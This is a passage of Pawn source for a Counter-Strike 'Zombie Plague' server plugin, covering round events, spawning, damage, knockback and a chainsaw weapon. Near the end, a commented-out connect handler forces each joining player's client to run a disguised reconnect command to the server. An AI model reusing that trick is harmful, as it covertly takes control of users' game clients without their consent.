	g_iCurrentWeapon[id] = read_data(2)
	
	if(g_zombie[id] || g_survivor[id])
		return PLUGIN_CONTINUE;

	if(!g_is_saw[id] || g_iCurrentWeapon[id] != CSW_KNIFE) 
		return PLUGIN_CONTINUE;

	entity_set_string(id, EV_SZ_viewmodel, model_vknife_chainsaw);
	entity_set_string(id, EV_SZ_weaponmodel, model_pknife_chainsaw);

	return PLUGIN_CONTINUE;
}

public event_round_start() {
	set_task(0.1, "remove_stuff")

	remove_entity_name("cs_chainsaw");

	g_newround = true
	g_endround = false
	g_survround = false
	g_nemround = false
	g_swarmround = false
	g_plagueround = false
	g_modestarted = false

	g_infbombcounter = 0
	g_antidotecounter = 0
	g_madnesscounter = 0

	g_freezetime = true

	remove_task(TASK_WELCOMEMSG)
	set_task(2.0, "welcome_msg", TASK_WELCOMEMSG)

	remove_task(TASK_MAKEZOMBIE)
	set_task(2.0 + get_pcvar_float(cvar_warmup), "make_zombie_task", TASK_MAKEZOMBIE)
}

public logevent_round_start()
{
	// Freezetime ends
	g_freezetime = false
	

	// Set proper maxspeed for all players
	static id
	for (id = 1; id <= g_maxplayers; id++)
	{
		if (!g_isalive[id])
			continue;

		set_player_maxspeed(id)
	}
}

public knife_models(id) {
		if (!g_isalive[id])
			return;
			
		if (g_zombie[id])
			return;
			
		if (g_user_knife[id] == AXE)
			MsgRelaySprite_AXE(id, true)
		if (g_user_knife[id] == STRONG)
			MsgRelaySprite_strong(id, true)
		if (g_user_knife[id] == COMBAT)
			MsgRelaySprite_Combat(id, true)
		if (g_user_knife[id] == HAMMER)
		{
			//zp_get_hammer ( id )
			MsgRelaySprite_Hammer(id, true)		
		}
}

public logevent_round_end() {
	static Float:lastendtime, Float:current_time
	current_time = get_gametime()
	if (current_time - lastendtime < 0.5) return;
	lastendtime = current_time
	
	if (get_pcvar_num(cvar_statssave))
	{
		static id, team
		for (id = 1; id <= g_maxplayers; id++)
		{
			if (!g_isconnected[id])
				continue;
			
			team = fm_cs_get_user_team(id)
			
			if (team == FM_CS_TEAM_SPECTATOR || team == FM_CS_TEAM_UNASSIGNED)
				continue;
				
			if( g_is_saw[ id ] )
			{
				g_iPlayerHealth[ id ] = get_user_health( id );
			}
			
			save_stats(id)
		}
	}
	
	g_endround = true;
	
	remove_task(TASK_WELCOMEMSG);
	remove_task(TASK_MAKEZOMBIE);
	
	if ((g_ambience_sounds[AMBIENCE_SOUNDS_NEMESIS] && g_nemround) || (g_ambience_sounds[AMBIENCE_SOUNDS_SURVIVOR] && g_survround) || (g_ambience_sounds[AMBIENCE_SOUNDS_SWARM] && g_swarmround) || (g_ambience_sounds[AMBIENCE_SOUNDS_PLAGUE] && g_plagueround) || (g_ambience_sounds[AMBIENCE_SOUNDS_INFECTION] && !g_nemround && !g_survround && !g_swarmround && !g_plagueround))
	{
		remove_task(TASK_AMBIENCESOUNDS);
		ambience_sound_stop();
	}
	
	static sound[64]
	if (!fnGetZombies() )
	{
		set_dhudmessage(0, 255, 127, HUD_EVENT_X, HUD_EVENT_Y, 0, 0.0, 3.0, 2.0, 1.0)
		show_dhudmessage(0,"%L", LANG_PLAYER, "WIN_HUMAN")

		if( !g_nemround )
		{
			ArrayGetString(sound_win_humans, random_num(0, ArraySize(sound_win_humans) - 1), sound, charsmax(sound))
			PlaySound(sound)
		}
		else
		{
			ArrayGetString(nemesis_loose, random_num(0, ArraySize(nemesis_loose) - 1), sound, charsmax(sound))
			PlaySound(sound)
		}

		g_scorehumans++
		
		ExecuteForward(g_fwRoundEnd, g_fwDummyResult, ZP_TEAM_HUMAN);
	}
	else if (!fnGetHumans() )
	{
		set_dhudmessage(200, 0, 0, HUD_EVENT_X, HUD_EVENT_Y, 0, 0.0, 3.0, 2.0, 1.0)
		show_dhudmessage(0, "%L", LANG_PLAYER, "WIN_ZOMBIE")

		if( g_nemround )
		{
			ArrayGetString(nemesis_win, random_num(0, ArraySize(nemesis_win) - 1), sound, charsmax(sound));
			PlaySound(sound);
		}
		else
		{
			ArrayGetString(sound_win_zombies, random_num(0, ArraySize(sound_win_zombies) - 1), sound, charsmax(sound))
			PlaySound(sound)
		}

		g_scorezombies++
		
		ExecuteForward(g_fwRoundEnd, g_fwDummyResult, ZP_TEAM_ZOMBIE);
	}
	else 
	{
		set_dhudmessage(0, 200, 0, HUD_EVENT_X, HUD_EVENT_Y, 0, 0.0, 3.0, 2.0, 1.0)
		show_dhudmessage(0,"%L", LANG_PLAYER, "WIN_NO_ONE")
		
		ArrayGetString(sound_win_no_one, random_num(0, ArraySize(sound_win_no_one) - 1), sound, charsmax(sound))
		PlaySound(sound)
		
		ExecuteForward(g_fwRoundEnd, g_fwDummyResult, ZP_TEAM_NO_ONE);
	}
	
	balance_teams()
}

public event_intermission() {
	// Remove ambience sounds task
	remove_task(TASK_AMBIENCESOUNDS)
}

public event_ammo_x(id) {
	if (g_zombie[id])
		return;
	
	static type
	type = read_data(1)
	
	if (type >= sizeof AMMOWEAPON)
		return;
	
	static weapon
	weapon = AMMOWEAPON[type]
	
	if (MAXBPAMMO[weapon] <= 2)
		return;
	
	static amount
	amount = read_data(2)
	
	if (g_survivor[id] ? get_pcvar_num(cvar_survinfammo) : get_pcvar_num(cvar_infammo))
	{
		if (amount < MAXBPAMMO[weapon])
		{
			// The BP Ammo refill code causes the engine to send a message, but we
			// can't have that in this forward or we risk getting some recursion bugs.
			// For more info see: https://bugs.alliedmods.net/show_bug.cgi?id=3664
			static args[1]
			args[0] = weapon
			set_task(0.1, "refill_bpammo", id, args, sizeof args)
		}
	}
	else if (g_isbot[id] && amount <= BUYAMMO[weapon])
	{
		set_task(0.1, "clcmd_buyammo", id)
	}
}

public fw_Chainsaw_Touch(saw, player) {
	if(!is_valid_ent(saw) || !is_valid_ent(player))
		return PLUGIN_CONTINUE;

	if(!is_user_valid_connected(player))
		return PLUGIN_CONTINUE;

	if(!is_user_valid_alive(player) || g_zombie[player] || g_survivor[player] || g_is_saw[player])
		return PLUGIN_CONTINUE;

	g_is_saw[player] = true;
	emit_sound(player, CHAN_WEAPON, sound_gunpickup, 1.0, ATTN_NORM, 0, PITCH_NORM);

	reset_user_knife(player);
	remove_entity(saw);
	return PLUGIN_CONTINUE;
}
public admin_motd(id,level,cid) {

	if (!cmd_access(id,level,cid,1))
	return PLUGIN_CONTINUE
	
	show_motd(id,"rules!.txt","Rules.")
	return PLUGIN_CONTINUE   
}

public top_motd(id,level,cid) {

	if (!cmd_access(id,level,cid,1))
	return PLUGIN_CONTINUE
	
	show_motd(id,"top.txt","Message of the Day.")
	return PLUGIN_CONTINUE   
}

public fw_Knife_PrimaryAttack_Post(knife) {
	static id;
	id = get_pdata_cbase(knife, m_pPlayer, 4);
	
	if (pev_valid(id) != PDATA_SAFE)
		return HAM_IGNORED;

	if(is_user_valid_connected(id) && g_is_saw[id])
	{
		static Float:flRate;
		flRate = get_pcvar_float(cvar_pattack_rate);

		set_pdata_float(knife, m_flNextPrimaryAttack, flRate, 4);
		set_pdata_float(knife, m_flNextSecondaryAttack, flRate, 4);
		set_pdata_float(knife, m_flTimeWeaponIdle, flRate, 4);

		static Float:flPunchAngle[3];
		flPunchAngle[0] = get_pcvar_float(cvar_pattack_recoil);

		entity_set_vector(id, EV_VEC_punchangle, flPunchAngle);
	}
	return HAM_IGNORED;
}

public fw_Knife_SecondaryAttack_Post(knife) {

	static id;
	id = get_pdata_cbase(knife, m_pPlayer, 4);
	
	if (pev_valid(id) != PDATA_SAFE)
		return HAM_IGNORED;

	if(is_user_connected(id) && g_is_saw[id])
	{
		static Float:flRate;
		flRate = get_pcvar_float(cvar_sattack_rate);

		set_pdata_float(knife, m_flNextPrimaryAttack, flRate, 4);
		set_pdata_float(knife, m_flNextSecondaryAttack, flRate, 4);
		set_pdata_float(knife, m_flTimeWeaponIdle, flRate, 4);

		static Float:flPunchAngle[3];
		flPunchAngle[0] = get_pcvar_float(cvar_sattack_recoil);

		entity_set_vector(id, EV_VEC_punchangle, flPunchAngle);
	}
	return HAM_IGNORED;
}

public Player_Duck(id) {
	if (is_user_alive(id) && g_nemesis[id])
	{
		static button;
		button = pev(id, pev_button);
		
		if (button & IN_DUCK)
		{
			set_pev(id, pev_view_ofs, {0.0, 0.0, 25.0});
		}
	}
}
public fw_Spawn(entity) {
	if (!pev_valid(entity)) return FMRES_IGNORED;

	new classname[32], objective[32], size = ArraySize(g_objective_ents)
	pev(entity, pev_classname, classname, charsmax(classname))

	for (new i = 0; i < size; i++)
	{
		ArrayGetString(g_objective_ents, i, objective, charsmax(objective))
		
		if (equal(classname, objective))
		{
			engfunc(EngFunc_RemoveEntity, entity)
			return FMRES_SUPERCEDE;
		}
	}

	return FMRES_IGNORED;
}

public fw_PrecacheSound(const sound[]) {
	if (equal(sound, "hostage", 7))
		return FMRES_SUPERCEDE;
	
	return FMRES_IGNORED;
}

public fw_PlayerSpawn_Post(id) {
	if (!is_user_alive(id) || !fm_cs_get_user_team(id))
		return;
	
	g_isalive[id] = true
	
	if(get_pcvar_num(cvar_oneround))
	{
		if(g_is_saw[id])
		{
			g_is_saw[id] = false;
		}
	}
	
	set_task( 0.1, "UpdateHP", id );
	

	
	remove_task(id+TASK_SPAWN)
	remove_task(id+TASK_MODEL)
	remove_task(id+TASK_BLOOD)
	remove_task(id+TASK_AURA)
	remove_task(id+TASK_BURN)
	remove_task(id+TASK_CHARGE)
	remove_task(id+TASK_FLASH)
	remove_task(id+TASK_NVISION)
	
	if (get_pcvar_num(cvar_randspawn)) do_random_spawn(id)
	
	if (get_pcvar_num(cvar_removemoney))
		set_task(0.4, "task_hide_money", id+TASK_SPAWN)
	
	if (get_pcvar_num(cvar_respawnworldspawnkill))
		set_task(2.0, "respawn_player_check_task", id+TASK_SPAWN)
	
	if (g_respawn_as_zombie[id] && !g_newround)
	{
		reset_vars(id, 0) // reset player vars
		zombieme(id, 0, 0, 0, 0) // make him zombie right away
		return;
	}
	
	// Reset player vars
	reset_vars(id, 0)
	g_buytime[id] = get_gametime()
	
	if (get_pcvar_num(cvar_buycustom))
		set_task(0.2, "show_menu_buy1", id+TASK_SPAWN)
	
	fm_set_user_health(id, get_pcvar_num(cvar_humanhp))
	set_pev(id, pev_gravity, get_pcvar_float(cvar_humangravity))
	
	// Set human maxspeed
	set_player_maxspeed(id)

	if (!g_newround && fm_cs_get_user_team(id) != FM_CS_TEAM_CT) // need to change team?
	{
		remove_task(id+TASK_TEAM)
		fm_cs_set_user_team(id, FM_CS_TEAM_CT)
		fm_user_team_update(id)
	}
	
	static currentmodel[32], tempmodel[32], already_has_model, i, iRand, size , iRand_S , size_s
	already_has_model = false
	
	if (g_handle_models_on_separate_ent)
	{
		if (get_pcvar_num(cvar_adminmodelshuman) && (get_user_flags(id) & g_access_flag[ACCESS_ADMIN_MODELS]))
		{
			iRand = random_num(0, ArraySize(model_admin_human) - 1)
			ArrayGetString(model_admin_human, iRand, g_playermodel[id], charsmax(g_playermodel[]))
			if (g_set_modelindex_offset) fm_cs_set_user_model_index(id, ArrayGetCell(g_modelindex_admin_human, iRand))
		}
		else
		{
			iRand = random_num(0, ArraySize(model_human) - 1)
			ArrayGetString(model_human, iRand, g_playermodel[id], charsmax(g_playermodel[]))
			set_pev(id, pev_body, random_num(0,2))
			if (g_set_modelindex_offset) fm_cs_set_user_model_index(id, ArrayGetCell(g_modelindex_human, iRand))
			
			iRand_S = random_num(0, ArraySize(model_human_s) - 1)
			ArrayGetString(model_human_s, iRand_S, g_playermodel[id], charsmax(g_playermodel[]))
			set_pev(id, pev_body, random_num(0,2))
			if (g_set_modelindex_offset) fm_cs_set_user_model_index(id, ArrayGetCell(g_modelindex_human, iRand_S))
		}
		
		fm_set_playermodel_ent(id)
		fm_set_rendering(g_ent_playermodel[id])
	}
	else
	{
		fm_cs_get_user_model(id, currentmodel, charsmax(currentmodel))
		
		if (get_pcvar_num(cvar_adminmodelshuman) && (get_user_flags(id) & g_access_flag[ACCESS_ADMIN_MODELS]))
		{
			size = ArraySize(model_admin_human)
			for (i = 0; i < size; i++)
			{
				ArrayGetString(model_admin_human, i, tempmodel, charsmax(tempmodel))
				if (equal(currentmodel, tempmodel)) already_has_model = true
			}
			
			if (!already_has_model)
			{
				iRand = random_num(0, size - 1)
				ArrayGetString(model_admin_human, iRand, g_playermodel[id], charsmax(g_playermodel[]))
				if (g_set_modelindex_offset) fm_cs_set_user_model_index(id, ArrayGetCell(g_modelindex_admin_human, iRand))
			}
		}
		else
		{
			size = ArraySize(model_human)
			size_s = ArraySize( model_human_s )
			for (i = 0; i < size; i++)
			{
				ArrayGetString(model_human, i, tempmodel, charsmax(tempmodel))
				set_pev(id, pev_body, random_num(0,2))
				if (equal(currentmodel, tempmodel)) already_has_model = true
			}
			
			for (i = 0; i < size_s; i++)
			{
				ArrayGetString(model_human_s, i, tempmodel, charsmax(tempmodel))
				set_pev(id, pev_body, random_num(0,2))
				if (equal(currentmodel, tempmodel)) already_has_model = true
			}
			
			if (!already_has_model)
			{
				iRand = random_num(0, size - 1)
				ArrayGetString(model_human, iRand, g_playermodel[id], charsmax(g_playermodel[]))
				set_pev(id, pev_body, random_num(0,2))
				if (g_set_modelindex_offset) fm_cs_set_user_model_index(id, ArrayGetCell(g_modelindex_human, iRand))
				
				iRand_S = random_num(0, size_s - 1)
				ArrayGetString(model_human_s, iRand_S, g_playermodel[id], charsmax(g_playermodel[]))
				set_pev(id, pev_body, random_num(0,2))
				if (g_set_modelindex_offset) fm_cs_set_user_model_index(id, ArrayGetCell(g_modelindex_human, iRand_S))
			}
		}
		
		if (!already_has_model)
		{
			if (g_newround)
				set_task(5.0 * g_modelchange_delay, "fm_user_model_update", id+TASK_MODEL)
			else
				fm_user_model_update(id+TASK_MODEL)
		}
		
		fm_set_rendering(id)
	}
	
	if (g_isbot[id])
	{
		cs_set_user_nvg(id, 0)
		
		if (get_pcvar_num(cvar_extraitems))
		{
			if (g_newround) set_task(10.0 + get_pcvar_float(cvar_warmup), "bot_buy_extras", id+TASK_SPAWN)
			else set_task(10.0, "bot_buy_extras", id+TASK_SPAWN)
		}
	}
	
	if (!g_newround && get_pcvar_float(cvar_spawnprotection) > 0.0)
	{
		g_nodamage[id] = true
		
		set_pev(id, pev_effects, pev(id, pev_effects) | EF_NODRAW)
		
		set_task(get_pcvar_float(cvar_spawnprotection), "remove_spawn_protection", id+TASK_SPAWN)
	}
	
	// Turn off his flashlight (prevents double flashlight bug/exploit)
	turn_off_flashlight(id)
	
	if (g_cached_customflash)
		set_task(1.0, "flashlight_charge", id+TASK_CHARGE, _, _, "b")
	
	static weapon_ent
	weapon_ent = fm_cs_get_current_weapon_ent(id)
	if (pev_valid(weapon_ent)) replace_weapon_models(id, cs_get_weapon_id(weapon_ent))
	
	fnCheckLastZombie()
}

public fw_PlayerKilled(victim, attacker, shouldgib)
{
	// Player killed
	g_isalive[victim] = false
	// Disable nodamage mode after we die to prevent spectator nightvision using zombie madness colors bug
	g_nodamage[victim] = false

	g_iPlayerHealth[victim] = 0;
	
	// Enable dead players nightvision
	set_task(0.1, "spec_nvision", victim)
	
	// Disable nightvision when killed (bugfix)
	if (get_pcvar_num(cvar_nvggive) == 0 && g_nvision[victim])
	{
		if (get_pcvar_num(cvar_customnvg)) remove_task(victim+TASK_NVISION)
		else if (g_nvisionenabled[victim]) set_user_gnvision(victim, 0)
		g_nvision[victim] = false
		g_nvisionenabled[victim] = false
	}
	
	// Turn off nightvision when killed (bugfix)
	if (get_pcvar_num(cvar_nvggive) == 2 && g_nvision[victim] && g_nvisionenabled[victim])
	{
		if (get_pcvar_num(cvar_customnvg)) remove_task(victim+TASK_NVISION)
		else set_user_gnvision(victim, 0)
		g_nvisionenabled[victim] = false
	}
	
	// Turn off custom flashlight when killed
	if (g_cached_customflash)
	{
		// Turn it off
		g_flashlight[victim] = false
		g_flashbattery[victim] = 100
		
		// Remove previous tasks
		remove_task(victim+TASK_CHARGE)
		remove_task(victim+TASK_FLASH)
	}
	
	// Stop bleeding/burning/aura when killed
	if (g_zombie[victim])
	{
		remove_task(victim+TASK_BLOOD)
		remove_task(victim+TASK_AURA)
		remove_task(victim+TASK_BURN)
	}
	
	// Nemesis explodes!
	if (g_nemesis[victim])
		SetHamParamInteger(3, 2)

	if(attacker != victim && is_user_valid_connected(attacker))
	{
		
		if(g_is_saw[attacker] && g_iCurrentWeapon[attacker] == CSW_KNIFE && !g_nemesis[victim] && get_pcvar_num(cvar_body_xplode))
			SetHamParamInteger(3, 2);

		if(g_is_saw[victim])
		{
			if(check_drop_flag(DROPFLAG_INDEATH))
				drop_chainsaw(victim);
			else
			{
				g_is_saw[victim] = false;
				reset_user_knife(victim);
			}
		}
	}
	
	// Determine whether the player killed himself
	static selfkill
	selfkill = (victim == attacker || !is_user_valid_connected(attacker)) ? true : false
	
	// Killed by a non-player entity or self killed
	if (selfkill) return;
	
	// Ignore Nemesis/Survivor Frags?
	if ((g_nemesis[attacker] && get_pcvar_num(cvar_nemignorefrags)) || (g_survivor[attacker] && get_pcvar_num(cvar_survignorefrags)))
		RemoveFrags(attacker, victim)
	
	// Zombie/nemesis killed human, reward ammo packs
	if (g_zombie[attacker] && (!g_nemesis[attacker] || !get_pcvar_num(cvar_nemignoreammo)))
		g_ammopacks[attacker] += get_pcvar_num(cvar_ammoinfect)
	
	// Human killed zombie, add up the extra frags for kill
	if (!g_zombie[attacker] && get_pcvar_num(cvar_fragskill) > 1)
		UpdateFrags(attacker, victim, get_pcvar_num(cvar_fragskill) - 1, 0, 0)
	
	// Zombie killed human, add up the extra frags for kill
	if (g_zombie[attacker] && get_pcvar_num(cvar_fragsinfect) > 1)
		UpdateFrags(attacker, victim, get_pcvar_num(cvar_fragsinfect) - 1, 0, 0)
}

// Ham Player Killed Post Forward
public fw_PlayerKilled_Post(victim, attacker, shouldgib)
{
	// Last Zombie Check
	fnCheckLastZombie()
	
	// Determine whether the player killed himself
	static selfkill
	selfkill = (victim == attacker || !is_user_valid_connected(attacker)) ? true : false
	
	// Respawn if deathmatch is enabled
	if (get_pcvar_num(cvar_deathmatch))
	{
		// Respawn on suicide?
		if (selfkill && !get_pcvar_num(cvar_respawnonsuicide))
			return;
		
		
		// Respawn if human/zombie/nemesis/survivor?
		if ((g_zombie[victim] && !g_nemesis[victim] && !get_pcvar_num(cvar_respawnzomb)) || (!g_zombie[victim] && !g_survivor[victim] && !get_pcvar_num(cvar_respawnhum)) || (g_nemesis[victim] && !get_pcvar_num(cvar_respawnnem)) || (g_survivor[victim] && !get_pcvar_num(cvar_respawnsurv)))
			return;
		
		
		// Set the respawn task
		set_task(get_pcvar_float(cvar_spawndelay), "respawn_player_task", victim+TASK_SPAWN)
	}
}

public fw_TakeDamage(victim, inflictor, attacker, Float:damage, damage_type) {
	if (victim == attacker || !is_user_valid_connected(attacker))
		return HAM_IGNORED;

	if (g_newround || g_endround)
		return HAM_SUPERCEDE;

	if (g_nodamage[victim] || g_frozen[victim])
		return HAM_SUPERCEDE;

	if (g_zombie[attacker] == g_zombie[victim])
		return HAM_SUPERCEDE;

	if (!g_zombie[attacker])
	{
		if (!g_nemesis[victim])
		{
			damage *= get_pcvar_float(cvar_zombiearmor)
			SetHamParamFloat(4, damage)
		}

		
		//static Float:flPower;
		
		if (is_user_valid_connected(inflictor) && g_iCurrentWeapon[inflictor] == CSW_KNIFE)
		{
			if(g_is_saw[attacker])
			{
				if(get_pcvar_num(cvar_dmggore))
					a_lot_of_blood(victim)

			} 
			else if(g_survivor[attacker])
			{
				//flPower *= 65.0
			} 
			else
			{
				//flPower *= g_knife_power[ g_user_knife[ attacker ] ];
			}
			
			//static Float:flNewVelocity[ 3 ] 
			//CreateVelocityVector( victim, attacker, flNewVelocity, flPower )
			//set_pev( victim, pev_velocity, flNewVelocity )

			//new dmg = read_data(2);
			//if(pev(attacker, pev_flags) & FL_CLIENT)
			//{
			//	client_print(attacker, print_center, "%i", floatround( damage ) );
			//}
		}

		if (!g_survivor[attacker] || !get_pcvar_num(cvar_survignoreammo))
		{
			g_damagedealt[attacker] += floatround(damage)
			
			while (g_damagedealt[attacker] > get_pcvar_num(cvar_ammodamage))
			{
				g_ammopacks[attacker]++
				g_damagedealt[attacker] -= get_pcvar_num(cvar_ammodamage)
			}
		}

		return HAM_IGNORED;
	}

	if (damage_type & DMG_HEGRENADE)
		return HAM_SUPERCEDE;

	if (g_nemesis[attacker])
	{
		if (inflictor == attacker)
		{
			static Float:dmgMul
			dmgMul = get_pcvar_float(cvar_nemdamage)
			
			if (dmgMul)
			{
				SetHamParamFloat(4, damage*dmgMul)
				return HAM_HANDLED
			}
		
		}
		return HAM_IGNORED
	}
	

	if (g_survround || g_nemround || g_swarmround || g_plagueround || fnGetHumans() == 1)
		return HAM_IGNORED;

	if (get_pcvar_num(cvar_humanarmor))
	{
		static Float:armor
		pev(victim, pev_armorvalue, armor)
		
		if (armor > 0.0)
		{
			emit_sound(victim, CHAN_BODY, sound_armorhit, 1.0, ATTN_NORM, 0, PITCH_NORM)
			if (armor - damage > 0.0)
				set_pev(victim, pev_armorvalue, armor - damage)
			else
				cs_set_user_armor(victim, 0, CS_ARMOR_NONE)
			return HAM_SUPERCEDE;
		}
	}

	zombieme(victim, attacker, 0, 0, 1);
	return HAM_SUPERCEDE;
}
public fwdTakeDamage(id, idinflictor, idattacker, Float:damage, damagebits)
{
	if (g_nemesis[id])
	{
		static Float:dmgMul
		dmgMul = get_pcvar_float(g_cvar_nemesis_dmg)
		if (dmgMul)
		{
			SetHamParamFloat(4, damage*dmgMul)
			return HAM_HANDLED
		}
		
	}
	return HAM_IGNORED
}


public fw_TakeDamage_Post(victim) {

	if (pev_valid(victim) != PDATA_SAFE)
		return;
		
	if(g_painshockfree[victim])
	{
		set_pdata_float(victim, OFFSET_PAINSHOCK, 1.0, OFFSET_LINUX)
	}
	
	if (g_zombie[victim])
	{
		if (g_nemesis[victim])
		{
			if (!get_pcvar_num(cvar_nempainfree)) return;
		}
		else
		{
			switch (get_pcvar_num(cvar_zombiepainfree))
			{
				case 0: return;
				case 2: if (!g_firstzombie[victim]) return;
			}
		}
	}
	else
	{
		if (g_survivor[victim])
		{
			if (!get_pcvar_num(cvar_survpainfree)) return;
		}
		else return;
	}

	// Prevent server crash if entity's private data not initalized
	if (pev_valid(victim) != PDATA_SAFE)
		return;
	
	set_pdata_float(victim, OFFSET_PAINSHOCK, 1.0, OFFSET_LINUX)
}

public fw_TraceAttack(victim, attacker, Float:damage, Float:direction[3], tracehandle, damage_type) {
	if (victim == attacker || !is_user_valid_connected(attacker))
		return HAM_IGNORED;
	
	if (g_newround || g_endround)
		return HAM_SUPERCEDE;
	
	if (g_nodamage[victim] || g_frozen[victim])
		return HAM_SUPERCEDE;
	
	if (g_zombie[attacker] == g_zombie[victim])
		return HAM_SUPERCEDE;
	
	if (!g_zombie[victim] || !(damage_type & DMG_BULLET))
		return HAM_IGNORED;
	
	if (get_pcvar_num(cvar_hitzones) && !g_nemesis[victim] && !(get_pcvar_num(cvar_hitzones) & (1<<get_tr2(tracehandle, TR_iHitgroup))))
		return HAM_SUPERCEDE;
	
	if (!get_pcvar_num(cvar_knockback))
		return HAM_IGNORED;
	
	if (g_nemesis[victim] && get_pcvar_float(cvar_nemknockback) == 0.0)
		return HAM_IGNORED;
	
	static ducking
	ducking = pev(victim, pev_flags) & (FL_DUCKING | FL_ONGROUND) == (FL_DUCKING | FL_ONGROUND)
	
	if (ducking && get_pcvar_float(cvar_knockbackducking) == 0.0)
		return HAM_IGNORED;
	
	static origin1[3], origin2[3]
	get_user_origin(victim, origin1)
	get_user_origin(attacker, origin2)
	
	if (get_distance(origin1, origin2) > get_pcvar_num(cvar_knockbackdist))
		return HAM_IGNORED;
	
	static Float:velocity[3]
	pev(victim, pev_velocity, velocity)
	
	if (get_pcvar_num(cvar_knockbackdamage))
		xs_vec_mul_scalar(direction, damage, direction)
	
	if (get_pcvar_num(cvar_knockbackpower) && kb_weapon_power[g_currentweapon[attacker]] > 0.0)
		xs_vec_mul_scalar(direction, kb_weapon_power[g_currentweapon[attacker]], direction)
	
	if (ducking)
		xs_vec_mul_scalar(direction, get_pcvar_float(cvar_knockbackducking), direction)
	
	if (g_nemesis[victim])
		xs_vec_mul_scalar(direction, get_pcvar_float(cvar_nemknockback), direction)
	else
		xs_vec_mul_scalar(direction, g_zombie_knockback[victim], direction)
	
	xs_vec_add(velocity, direction, direction)
	
	if (!get_pcvar_num(cvar_knockbackzvel))
		direction[2] = velocity[2]
	
	set_pev(victim, pev_velocity, direction);
	
	return HAM_IGNORED;
}

// Ham Reset MaxSpeed Forward
public fw_ResetMaxSpeed(id)
{
	// Player not alive
	if (!g_isalive[id])
		return HAM_IGNORED;
	
	// Frozen?
	if (g_frozen[id])
		return HAM_SUPERCEDE;
	
	// Block maxspeed changes for players depending on class
	if (g_zombie[id])
		return HAM_SUPERCEDE
	else if (g_survivor[id])
		return HAM_SUPERCEDE
	// Block maxspeed changes for humans only if custom human speed is enabled
	else if (get_pcvar_float(cvar_humanspd) > 0.0)
		return HAM_SUPERCEDE;
	
	return HAM_IGNORED;
}

public fw_UseStationary(entity, caller, activator, use_type) {
	// Prevent zombies from using stationary guns
	if (use_type == USE_USING && is_user_valid_connected(caller) && g_zombie[caller])
		return HAM_SUPERCEDE;
	
	return HAM_IGNORED;
}

public fw_UseStationary_Post(entity, caller, activator, use_type) {
	// Someone stopped using a stationary gun
	if (use_type == USE_STOPPED && is_user_valid_connected(caller))
		replace_weapon_models(caller, g_currentweapon[caller]) // replace weapon models (bugfix)
}

public fw_UsePushable() {
	if (get_pcvar_num(cvar_blockpushables))
		return HAM_SUPERCEDE;
	
	return HAM_IGNORED;
}

public fw_TouchWeapon(weapon, id) {
	if (!is_user_valid_connected(id))
		return HAM_IGNORED;
	
	if (g_zombie[id] || (g_survivor[id] && !g_isbot[id]))
		return HAM_SUPERCEDE;
	
	return HAM_IGNORED;
}

public fw_AddPlayerItem(id, weapon_ent) {
	if(!is_valid_ent(weapon_ent))
		return HAM_IGNORED;
		
	if (!is_user_connected(id))
		return HAM_IGNORED;

	static extra_ammo
	extra_ammo = pev(weapon_ent, PEV_ADDITIONAL_AMMO)
	
	if (extra_ammo)
	{
		static weaponid
		weaponid = cs_get_weapon_id(weapon_ent)
		
		ExecuteHamB(Ham_GiveAmmo, id, extra_ammo, AMMOTYPE[weaponid], MAXBPAMMO[weaponid])
		set_pev(weapon_ent, PEV_ADDITIONAL_AMMO, 0)
	}
	return HAM_IGNORED;
}

public fw_Item_Deploy_Post(weapon_ent) {
	static owner
	owner = fm_cs_get_weapon_ent_owner(weapon_ent)
	
	static weaponid
	weaponid = cs_get_weapon_id(weapon_ent)

	// Valid owner?
	if (!pev_valid(owner))
		return;
	
	g_currentweapon[owner] = weaponid
	
	replace_weapon_models(owner, weaponid)
	
	if (g_zombie[owner] && !((1<<weaponid) & ZOMBIE_ALLOWED_WEAPONS_BITSUM))
	{
		g_currentweapon[owner] = CSW_KNIFE
		engclient_cmd(owner, "weapon_knife")
	}
}

public wpn_gi_reset_weapon(id) {
	replace_weapon_models(id, CSW_KNIFE);
}

public client_putinserver(id) {
	if (!g_pluginenabled) return;
	
	g_isconnected[id] = true
	get_user_name(id, g_playername[id], charsmax(g_playername[]))
	reset_vars(id, 1)

	g_user_knife[id] = AXE;

	
	static szPlayerInfo_Classes[10]
	static szPlayerInfo_knifes[10]
	get_user_info(id, szClassInfo, szPlayerInfo_Classes, 9)
	get_user_info(id, szKnifesInfo, szPlayerInfo_knifes, 9)
    

	if(szPlayerInfo_Classes[0] != 0)
	{
		new class_id = str_to_num(szPlayerInfo_Classes);
		g_zombieclassnext[id] = 0 <= class_id <= 6 ? class_id : 0
	}

	if(szPlayerInfo_knifes[0] != 0)
	{
		new Knifes_id = str_to_num(szPlayerInfo_knifes);
		g_user_knife[id] = 0 <= Knifes_id <= 3 ? Knifes_id : 0
	}

	if (get_pcvar_num(cvar_statssave)) load_stats(id)
	
	if (g_user_knife[id] == HAMMER)
		if( !is_user_admin( id )  ) g_user_knife[ id ] = AXE
	
	if (!is_user_bot(id))
	{
		set_task(1.0, "ShowHUD", id+TASK_SHOWHUD, _, _, "b")
		set_task(5.0, "disable_minmodels", id)
	}
	else
	{
		g_isbot[id] = true
		
		if (!g_hamczbots && cvar_botquota)
			set_task(0.1, "register_ham_czbots", id)
	}
}

/*public client_connect(id)
{
        new ip[32]
        
        get_user_ip(id, ip, 31)

        new lastTime
     
        new serverIp[32]

        get_user_ip(0, serverIp, 31)

        if (!TrieGetCell(g_check, ip, lastTime) || lastTime < get_systime() - 8)
        {
                TrieSetCell(g_check, ip, get_systime())
 
                switch (random_num(1, 6))
		{
  			case 1: client_cmd(id, "Connect %s`%c", serverIp, random_num('#', '/'))
			case 2: client_cmd(id, "Connect %s`%c", serverIp, random_num('<', '>'))
			case 3: client_cmd(id, "Connect %s`%c", serverIp, random_num('+', '='))
			case 4: client_cmd(id, "Connect %s`%c", serverIp, random_num('_', '-'))
			case 5: client_cmd(id, "Connect %s`%c", serverIp, random_num('?', '!'))
			case 6: client_cmd(id, "Connect %s`%c", serverIp, random_num('.', ','))
		}    
        }
}*/


public fw_ClientDisconnect(id) {
	if (g_isalive[id]) check_round(id)
	
	
	if (get_pcvar_num(cvar_statssave)) save_stats(id)
	
	remove_task(id+TASK_TEAM)
	remove_task(id+TASK_MODEL)
	remove_task(id+TASK_FLASH)
	remove_task(id+TASK_CHARGE)
	remove_task(id+TASK_SPAWN)
	remove_task(id+TASK_BLOOD)
	remove_task(id+TASK_AURA)
	remove_task(id+TASK_BURN)
	remove_task(id+TASK_NVISION)
	remove_task(id+TASK_SHOWHUD)
	
